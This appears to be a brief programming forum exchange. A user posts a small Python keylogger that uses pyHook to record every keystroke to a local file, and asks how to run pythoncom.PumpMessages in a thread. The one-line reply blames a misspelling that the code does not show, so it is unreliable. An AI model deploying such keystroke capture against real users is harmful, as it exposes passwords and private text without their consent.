I'm writing little keylogger in python. Here is my code.
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)sx')
logging.log(10,chr(event.Ascii))
return True
def print_stuff():
print "Oh stuff!"
hm=pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
thread.start_new_thread(pythoncom.PumpMessages,())
print_stuff()
but why pythoncom.PumpMessages()
is not working? is there any way to run pythoncom.PumpMessages function in thread?
Maybe because you misspelled PumpMessages()